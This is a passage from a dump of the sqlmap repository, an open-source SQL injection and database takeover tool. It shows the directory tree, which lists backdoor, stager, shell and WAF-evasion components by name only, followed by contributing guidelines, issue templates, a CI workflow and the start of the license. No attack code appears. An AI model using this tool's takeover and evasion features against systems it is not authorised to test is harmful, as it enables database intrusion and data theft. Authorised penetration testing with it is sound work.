Showing preview only (4,458K chars total). Download the full file or copy to clipboard to get everything.
Repository: sqlmapproject/sqlmap
Branch: master
Commit: e43333242393
Files: 652
Total size: 4.2 MB
Directory structure:
gitextract_gly9vf9i/
├── .gitattributes
├── .github/
│ ├── CODE_OF_CONDUCT.md
│ ├── CONTRIBUTING.md
│ ├── FUNDING.yml
│ ├── ISSUE_TEMPLATE/
│ │ ├── bug_report.md
│ │ └── feature_request.md
│ └── workflows/
│ └── tests.yml
├── .gitignore
├── LICENSE
├── README.md
├── data/
│ ├── procs/
│ │ ├── README.txt
│ │ ├── mssqlserver/
│ │ │ ├── activate_sp_oacreate.sql
│ │ │ ├── configure_openrowset.sql
│ │ │ ├── configure_xp_cmdshell.sql
│ │ │ ├── create_new_xp_cmdshell.sql
│ │ │ ├── disable_xp_cmdshell_2000.sql
│ │ │ ├── dns_request.sql
│ │ │ ├── enable_xp_cmdshell_2000.sql
│ │ │ └── run_statement_as_user.sql
│ │ ├── mysql/
│ │ │ ├── dns_request.sql
│ │ │ └── write_file_limit.sql
│ │ ├── oracle/
│ │ │ ├── dns_request.sql
│ │ │ └── read_file_export_extension.sql
│ │ └── postgresql/
│ │ └── dns_request.sql
│ ├── shell/
│ │ ├── README.txt
│ │ ├── backdoors/
│ │ │ ├── backdoor.asp_
│ │ │ ├── backdoor.aspx_
│ │ │ ├── backdoor.cfm_
│ │ │ ├── backdoor.jsp_
│ │ │ └── backdoor.php_
│ │ └── stagers/
│ │ ├── stager.asp_
│ │ ├── stager.aspx_
│ │ ├── stager.cfm_
│ │ ├── stager.jsp_
│ │ └── stager.php_
│ ├── txt/
│ │ ├── common-columns.txt
│ │ ├── common-files.txt
│ │ ├── common-outputs.txt
│ │ ├── common-tables.txt
│ │ ├── keywords.txt
│ │ ├── sha256sums.txt
│ │ ├── smalldict.txt
│ │ ├── user-agents.txt
│ │ └── wordlist.tx_
│ ├── udf/
│ │ ├── README.txt
│ │ ├── mysql/
│ │ │ ├── linux/
│ │ │ │ ├── 32/
│ │ │ │ │ └── lib_mysqludf_sys.so_
│ │ │ │ └── 64/
│ │ │ │ └── lib_mysqludf_sys.so_
│ │ │ └── windows/
│ │ │ ├── 32/
│ │ │ │ └── lib_mysqludf_sys.dll_
│ │ │ └── 64/
│ │ │ └── lib_mysqludf_sys.dll_
│ │ └── postgresql/
│ │ ├── linux/
│ │ │ ├── 32/
│ │ │ │ ├── 10/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 11/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 8.2/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 8.3/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 8.4/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.0/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.1/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.2/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.3/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.4/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.5/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ └── 9.6/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ └── 64/
│ │ │ ├── 10/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 11/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 12/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 8.2/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 8.3/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 8.4/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.0/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.1/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.2/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.3/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.4/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.5/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ └── 9.6/
│ │ │ └── lib_postgresqludf_sys.so_
│ │ └── windows/
│ │ └── 32/
│ │ ├── 8.2/
│ │ │ └── lib_postgresqludf_sys.dll_
│ │ ├── 8.3/
│ │ │ └── lib_postgresqludf_sys.dll_
│ │ ├── 8.4/
│ │ │ └── lib_postgresqludf_sys.dll_
│ │ └── 9.0/
│ │ └── lib_postgresqludf_sys.dll_
│ └── xml/
│ ├── banner/
│ │ ├── generic.xml
│ │ ├── mssql.xml
│ │ ├── mysql.xml
│ │ ├── oracle.xml
│ │ ├── postgresql.xml
│ │ ├── server.xml
│ │ ├── servlet-engine.xml
│ │ ├── set-cookie.xml
│ │ ├── sharepoint.xml
│ │ ├── x-aspnet-version.xml
│ │ └── x-powered-by.xml
│ ├── boundaries.xml
│ ├── errors.xml
│ ├── payloads/
│ │ ├── boolean_blind.xml
│ │ ├── error_based.xml
│ │ ├── inline_query.xml
│ │ ├── stacked_queries.xml
│ │ ├── time_blind.xml
│ │ └── union_query.xml
│ └── queries.xml
├── doc/
│ ├── AUTHORS
│ ├── CHANGELOG.md
│ ├── THANKS.md
│ ├── THIRD-PARTY.md
│ └── translations/
│ ├── README-ar-AR.md
│ ├── README-bg-BG.md
│ ├── README-bn-BD.md
│ ├── README-ckb-KU.md
│ ├── README-de-DE.md
│ ├── README-es-MX.md
│ ├── README-fa-IR.md
│ ├── README-fr-FR.md
│ ├── README-gr-GR.md
│ ├── README-hr-HR.md
│ ├── README-id-ID.md
│ ├── README-in-HI.md
│ ├── README-it-IT.md
│ ├── README-ja-JP.md
│ ├── README-ka-GE.md
│ ├── README-ko-KR.md
│ ├── README-nl-NL.md
│ ├── README-pl-PL.md
│ ├── README-pt-BR.md
│ ├── README-rs-RS.md
│ ├── README-ru-RU.md
│ ├── README-sk-SK.md
│ ├── README-tr-TR.md
│ ├── README-uk-UA.md
│ ├── README-vi-VN.md
│ └── README-zh-CN.md
├── extra/
│ ├── __init__.py
│ ├── beep/
│ │ ├── __init__.py
│ │ └── beep.py
│ ├── cloak/
│ │ ├── README.txt
│ │ ├── __init__.py
│ │ └── cloak.py
│ ├── dbgtool/
│ │ ├── README.txt
│ │ ├── __init__.py
│ │ └── dbgtool.py
│ ├── icmpsh/
│ │ ├── README.txt
│ │ ├── __init__.py
│ │ ├── icmpsh-m.c
│ │ ├── icmpsh-m.pl
│ │ ├── icmpsh-s.c
│ │ ├── icmpsh.exe_
│ │ └── icmpsh_m.py
│ ├── runcmd/
│ │ ├── README.txt
│ │ ├── runcmd.exe_
│ │ └── src/
│ │ ├── README.txt
│ │ ├── runcmd/
│ │ │ ├── runcmd.cpp
│ │ │ ├── runcmd.vcproj
│ │ │ ├── stdafx.cpp
│ │ │ └── stdafx.h
│ │ └── runcmd.sln
│ ├── shellcodeexec/
│ │ ├── README.txt
│ │ ├── linux/
│ │ │ ├── shellcodeexec.x32_
│ │ │ └── shellcodeexec.x64_
│ │ └── windows/
│ │ └── shellcodeexec.x32.exe_
│ ├── shutils/
│ │ ├── autocompletion.sh
│ │ ├── blanks.sh
│ │ ├── drei.sh
│ │ ├── duplicates.py
│ │ ├── junk.sh
│ │ ├── newlines.py
│ │ ├── postcommit-hook.sh
│ │ ├── precommit-hook.sh
│ │ ├── pycodestyle.sh
│ │ ├── pydiatra.sh
│ │ ├── pyflakes.sh
│ │ ├── pypi.sh
│ │ ├── recloak.sh
│ │ └── strip.sh
│ └── vulnserver/
│ ├── __init__.py
│ └── vulnserver.py
├── lib/
│ ├── __init__.py
│ ├── controller/
│ │ ├── __init__.py
│ │ ├── action.py
│ │ ├── checks.py
│ │ ├── controller.py
│ │ └── handler.py
│ ├── core/
│ │ ├── __init__.py
│ │ ├── agent.py
│ │ ├── bigarray.py
│ │ ├── common.py
│ │ ├── compat.py
│ │ ├── convert.py
│ │ ├── data.py
│ │ ├── datatype.py
│ │ ├── decorators.py
│ │ ├── defaults.py
│ │ ├── dicts.py
│ │ ├── dump.py
│ │ ├── enums.py
│ │ ├── exception.py
│ │ ├── log.py
│ │ ├── option.py
│ │ ├── optiondict.py
│ │ ├── patch.py
│ │ ├── profiling.py
│ │ ├── readlineng.py
│ │ ├── replication.py
│ │ ├── revision.py
│ │ ├── session.py
│ │ ├── settings.py
│ │ ├── shell.py
│ │ ├── subprocessng.py
│ │ ├── target.py
│ │ ├── testing.py
│ │ ├── threads.py
│ │ ├── unescaper.py
│ │ ├── update.py
│ │ └── wordlist.py
│ ├── parse/
│ │ ├── __init__.py
│ │ ├── banner.py
│ │ ├── cmdline.py
│ │ ├── configfile.py
│ │ ├── handler.py
│ │ ├── headers.py
│ │ ├── html.py
│ │ ├── payloads.py
│ │ └── sitemap.py
│ ├── request/
│ │ ├── __init__.py
│ │ ├── basic.py
│ │ ├── basicauthhandler.py
│ │ ├── chunkedhandler.py
│ │ ├── comparison.py
│ │ ├── connect.py
│ │ ├── direct.py
│ │ ├── dns.py
│ │ ├── httpshandler.py
│ │ ├── inject.py
│ │ ├── methodrequest.py
│ │ ├── pkihandler.py
│ │ ├── rangehandler.py
│ │ ├── redirecthandler.py
│ │ └── templates.py
│ ├── takeover/
│ │ ├── __init__.py
│ │ ├── abstraction.py
│ │ ├── icmpsh.py
│ │ ├── metasploit.py
│ │ ├── registry.py
│ │ ├── udf.py
│ │ ├── web.py
│ │ └── xp_cmdshell.py
│ ├── techniques/
│ │ ├── __init__.py
│ │ ├── blind/
│ │ │ ├── __init__.py
│ │ │ └── inference.py
│ │ ├── dns/
│ │ │ ├── __init__.py
│ │ │ ├── test.py
│ │ │ └── use.py
│ │ ├── error/
│ │ │ ├── __init__.py
│ │ │ └── use.py
│ │ └── union/
│ │ ├── __init__.py
│ │ ├── test.py
│ │ └── use.py
│ └── utils/
│ ├── __init__.py
│ ├── api.py
│ ├── brute.py
│ ├── crawler.py
│ ├── deps.py
│ ├── getch.py
│ ├── gui.py
│ ├── har.py
│ ├── hash.py
│ ├── hashdb.py
│ ├── pivotdumptable.py
│ ├── progress.py
│ ├── purge.py
│ ├── safe2bin.py
│ ├── search.py
│ ├── sgmllib.py
│ ├── sqlalchemy.py
│ ├── timeout.py
│ ├── tui.py
│ ├── versioncheck.py
│ └── xrange.py
├── plugins/
│ ├── __init__.py
│ ├── dbms/
│ │ ├── __init__.py
│ │ ├── access/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── altibase/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── cache/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── clickhouse/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── cratedb/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── cubrid/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── db2/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── derby/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── extremedb/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── firebird/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── frontbase/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── h2/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── hsqldb/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── informix/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── maxdb/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── mckoi/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── mimersql/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── monetdb/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── mssqlserver/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── mysql/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── oracle/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── postgresql/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── presto/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── raima/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── snowflake/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── spanner/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── sqlite/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── sybase/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ ├── vertica/
│ │ │ ├── __init__.py
│ │ │ ├── connector.py
│ │ │ ├── enumeration.py
│ │ │ ├── filesystem.py
│ │ │ ├── fingerprint.py
│ │ │ ├── syntax.py
│ │ │ └── takeover.py
│ │ └── virtuoso/
│ │ ├── __init__.py
│ │ ├── connector.py
│ │ ├── enumeration.py
│ │ ├── filesystem.py
│ │ ├── fingerprint.py
│ │ ├── syntax.py
│ │ └── takeover.py
│ └── generic/
│ ├── __init__.py
│ ├── connector.py
│ ├── custom.py
│ ├── databases.py
│ ├── entries.py
│ ├── enumeration.py
│ ├── filesystem.py
│ ├── fingerprint.py
│ ├── misc.py
│ ├── search.py
│ ├── syntax.py
│ ├── takeover.py
│ └── users.py
├── sqlmap.conf
├── sqlmap.py
├── sqlmapapi.py
├── sqlmapapi.yaml
├── tamper/
│ ├── 0eunion.py
│ ├── __init__.py
│ ├── apostrophemask.py
│ ├── apostrophenullencode.py
│ ├── appendnullbyte.py
│ ├── base64encode.py
│ ├── between.py
│ ├── binary.py
│ ├── bluecoat.py
│ ├── chardoubleencode.py
│ ├── charencode.py
│ ├── charunicodeencode.py
│ ├── charunicodeescape.py
│ ├── commalesslimit.py
│ ├── commalessmid.py
│ ├── commentbeforeparentheses.py
│ ├── concat2concatws.py
│ ├── decentities.py
│ ├── dunion.py
│ ├── equaltolike.py
│ ├── equaltorlike.py
│ ├── escapequotes.py
│ ├── greatest.py
│ ├── halfversionedmorekeywords.py
│ ├── hex2char.py
│ ├── hexentities.py
│ ├── htmlencode.py
│ ├── if2case.py
│ ├── ifnull2casewhenisnull.py
│ ├── ifnull2ifisnull.py
│ ├── informationschemacomment.py
│ ├── least.py
│ ├── lowercase.py
│ ├── luanginx.py
│ ├── luanginxmore.py
│ ├── misunion.py
│ ├── modsecurityversioned.py
│ ├── modsecurityzeroversioned.py
│ ├── multiplespaces.py
│ ├── ord2ascii.py
│ ├── overlongutf8.py
│ ├── overlongutf8more.py
│ ├── percentage.py
│ ├── plus2concat.py
│ ├── plus2fnconcat.py
│ ├── randomcase.py
│ ├── randomcomments.py
│ ├── schemasplit.py
│ ├── scientific.py
│ ├── sleep2getlock.py
│ ├── sp_password.py
│ ├── space2comment.py
│ ├── space2dash.py
│ ├── space2hash.py
│ ├── space2morecomment.py
│ ├── space2morehash.py
│ ├── space2mssqlblank.py
│ ├── space2mssqlhash.py
│ ├── space2mysqlblank.py
│ ├── space2mysqldash.py
│ ├── space2plus.py
│ ├── space2randomblank.py
│ ├── substring2leftright.py
│ ├── symboliclogical.py
│ ├── unionalltounion.py
│ ├── unmagicquotes.py
│ ├── uppercase.py
│ ├── varnish.py
│ ├── versionedkeywords.py
│ ├── versionedmorekeywords.py
│ └── xforwardedfor.py
└── thirdparty/
├── __init__.py
├── ansistrm/
│ ├── __init__.py
│ └── ansistrm.py
├── beautifulsoup/
│ ├── __init__.py
│ └── beautifulsoup.py
├── bottle/
│ ├── __init__.py
│ └── bottle.py
├── chardet/
│ ├── __init__.py
│ ├── big5freq.py
│ ├── big5prober.py
│ ├── chardistribution.py
│ ├── charsetgroupprober.py
│ ├── charsetprober.py
│ ├── codingstatemachine.py
│ ├── compat.py
│ ├── cp949prober.py
│ ├── enums.py
│ ├── escprober.py
│ ├── escsm.py
│ ├── eucjpprober.py
│ ├── euckrfreq.py
│ ├── euckrprober.py
│ ├── euctwfreq.py
│ ├── euctwprober.py
│ ├── gb2312freq.py
│ ├── gb2312prober.py
│ ├── hebrewprober.py
│ ├── jisfreq.py
│ ├── jpcntx.py
│ ├── langbulgarianmodel.py
│ ├── langcyrillicmodel.py
│ ├── langgreekmodel.py
│ ├── langhebrewmodel.py
│ ├── langhungarianmodel.py
│ ├── langthaimodel.py
│ ├── langturkishmodel.py
│ ├── latin1prober.py
│ ├── mbcharsetprober.py
│ ├── mbcsgroupprober.py
│ ├── mbcssm.py
│ ├── sbcharsetprober.py
│ ├── sbcsgroupprober.py
│ ├── sjisprober.py
│ ├── universaldetector.py
│ ├── utf8prober.py
│ └── version.py
├── clientform/
│ ├── __init__.py
│ └── clientform.py
├── colorama/
│ ├── __init__.py
│ ├── ansi.py
│ ├── ansitowin32.py
│ ├── initialise.py
│ ├── win32.py
│ └── winterm.py
├── fcrypt/
│ ├── __init__.py
│ └── fcrypt.py
├── identywaf/
│ ├── LICENSE
│ ├── __init__.py
│ ├── data.json
│ └── identYwaf.py
├── keepalive/
│ ├── __init__.py
│ └── keepalive.py
├── magic/
│ ├── __init__.py
│ └── magic.py
├── multipart/
│ ├── __init__.py
│ └── multipartpost.py
├── odict/
│ ├── __init__.py
│ └── ordereddict.py
├── pydes/
│ ├── __init__.py
│ └── pyDes.py
├── six/
│ └── __init__.py
├── socks/
│ ├── LICENSE
│ ├── __init__.py
│ └── socks.py
├── termcolor/
│ ├── __init__.py
│ └── termcolor.py
└── wininetpton/
├── __init__.py
└── win_inet_pton.py
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitattributes
================================================
*.conf text eol=lf
*.json text eol=lf
*.html text eol=lf
*.md text eol=lf
*.md5 text eol=lf
*.pl text eol=lf
*.py text eol=lf
*.sh text eol=lf
*.sql text eol=lf
*.txt text eol=lf
*.xml text eol=lf
*.yaml text eol=lf
*.yml text eol=lf
LICENSE text eol=lf
COMMITMENT text eol=lf
*_ binary
*.dll binary
*.pdf binary
*.so binary
*.wav binary
*.zip binary
*.x32 binary
*.x64 binary
*.exe binary
*.sln binary
*.vcproj binary
================================================
FILE: .github/CODE_OF_CONDUCT.md
================================================
# Code of Conduct
## Our Goal
The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration.
## Standards
Contributors are expected to:
* Be respectful and professional in all communications.
* Focus on the technical merits of the project.
* Gracefully accept constructive criticism.
Unacceptable behavior includes:
* Harassment, personal attacks, or doxxing.
* Any behavior that disrupts the technical progress of the project.
## Enforcement
The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `dev@sqlmap.org`.
================================================
FILE: .github/CONTRIBUTING.md
================================================
# Contributing to sqlmap
## Reporting bugs
**Bug reports are welcome**!
Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues).
### Guidelines
* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant.
* Make sure you can reproduce the bug with the latest development version of sqlmap.
* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal.
* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?*
## Submitting code changes
All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37).
Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests).
Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next!
### Guidelines
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
* Each patch should make one logical change.
* Avoid tabbing, use four blank spaces instead.
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org).
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests.
* Style that is too different from main branch will be ''adapted'' by the developers side.
* Do not touch anything inside `thirdparty/` and `extra/` folders.
### Licensing
By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.
================================================
FILE: .github/FUNDING.yml
================================================
github: sqlmapproject
================================================
FILE: .github/ISSUE_TEMPLATE/bug_report.md
================================================
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: bug report
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
1. Run '...'
2. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Running environment:**
- sqlmap version [e.g. 1.7.2.12#dev]
- Installation method [e.g. pip]
- Operating system: [e.g. Microsoft Windows 11]
- Python version [e.g. 3.11.2]
**Target details:**
- DBMS [e.g. Microsoft SQL Server]
- SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind]
- WAF/IPS [if any]
- Relevant console output [if any]
- Exception traceback [if any]
**Additional context**
Add any other context about the problem here.
================================================
FILE: .github/ISSUE_TEMPLATE/feature_request.md
================================================
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: feature request
assignees: ''
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.
================================================
FILE: .github/workflows/tests.yml
================================================
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
include:
- os: ubuntu-latest
python-version: "pypy-2.7"
- os: macos-latest
python-version: "3.8"
- os: windows-latest
python-version: "3.14"
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 1
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Basic import test
run: python -c "import sqlmap; import sqlmapapi"
- name: Smoke test
run: python sqlmap.py --smoke
- name: Vuln test
run: python sqlmap.py --vuln
================================================
FILE: .gitignore
================================================
output/
__pycache__/
*.py[cod]
.sqlmap_history
traffic.txt
*~
req*.txt
.idea/
.aider*
================================================
FILE: LICENSE
================================================
COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2026 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; Version 2 (or later) with the clarifications and
exceptions described below. This guarantees your right to use, modify, and
redistribute this software under certain conditions. If you wish to embed
sqlmap technology into proprietary software, we sell alternative licenses
(contact sales@sqlmap.org).
Note that the GPL places important restrictions on "derived works", yet it
does not provide a detailed definition of that term. To avoid
misunderstandings, we interpret that term as broadly as copyright law
allows. For example, we consider an application to constitute a "derived
work" for the purpose of this license if it does any of the following:
* Integrates source code from sqlmap.
* Reads or includes sqlmap copyrighted data files, such as xml/queries.xml
* Executes sqlmap and parses the results (as opposed to typical shell or
execution-menu apps, which simply display raw sqlmap output and so are
not derivative works).
* Integrates/includes/aggregates sqlmap into a proprietary executable
installer, such as those produced by InstallShield.
* Links to a library or executes a program that does any of the above
The term "sqlmap" should be taken to also include any portions or derived
works of sqlmap. This list is not exclusive, but is meant to clarify our
interpretation of derived works with some common examples. Our
interpretation applies only to sqlmap - we do not speak for other people's
GPL works.
This license does not apply to the third-party components. More details can
be found inside the file 'doc/THIRD-PARTY.md'.
If you have any questions about the GPL licensing restrictions on using
sqlmap in non-GPL works, we would be happy to help. As mentioned above,
we also offer alternative license to integrate sqlmap into proprietary
applications and appliances.
If you received these files with a written license agreement or contract
stating terms other than the terms above, then that alternative license
agreement takes precedence over these comments.
Source is provided to this software because we believe users have a right
to know exactly what a program is going to do before they run it.
Source code also allows you to fix bugs and add new features. You are
highly encouraged to send your changes to dev@sqlmap.org for possible
incorporation into the main distribution. By sending these changes to the
